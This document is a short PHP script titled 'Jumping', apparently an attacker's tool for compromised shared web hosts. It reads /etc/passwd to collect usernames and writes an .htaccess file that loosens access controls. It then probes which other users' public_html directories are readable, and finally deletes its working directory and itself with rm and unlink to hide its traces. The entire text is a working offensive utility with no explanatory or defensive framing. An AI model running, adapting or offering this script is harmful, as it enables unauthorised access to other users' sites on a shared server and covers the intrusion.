Jumping

<? echo'<title>JUMPING</title><body bgcolor=black><center><a href=http://azzatssinz.tumblr.com><img src=http://azzat.wap.mu/files/1049320/assassin_s_creed_iv_black_flag.png></a><br></center>';
//$us = file_get_contents("/etc/passwd");
$usa = fopen('/etc/passwd','r');
$dir = mkdir('jmp', 0777);
$rrrr = "Options all \n DirectoryIndex jump \n Require None \n Satisfy Any";
$frr = fopen('jmp/.htaccess', 'w');
fwrite($frr, $rrrr);
while($us = fgets($usa)){
 if($us==""){
 echo "<font color=red>can't read /etc/passwd</font>";
 }
else{
 preg_match_all('/(.*?):x:/', $us, $user_byk);
 foreach($user_byk[1] as $user){
 $dir1 = "/home/$user/public_html/";
if(is_readable($dir1)){
 echo "<center><fieldset><b><i><font color='lime'>$dir1</i></b></fiedset></center><br>"; }
else{
    }
}
}

}
$fn = $_SERVER['SCRIPT_FILENAME'];
system('rm -rf jmp');
unlink($fn); system('rm'.$fn); ?>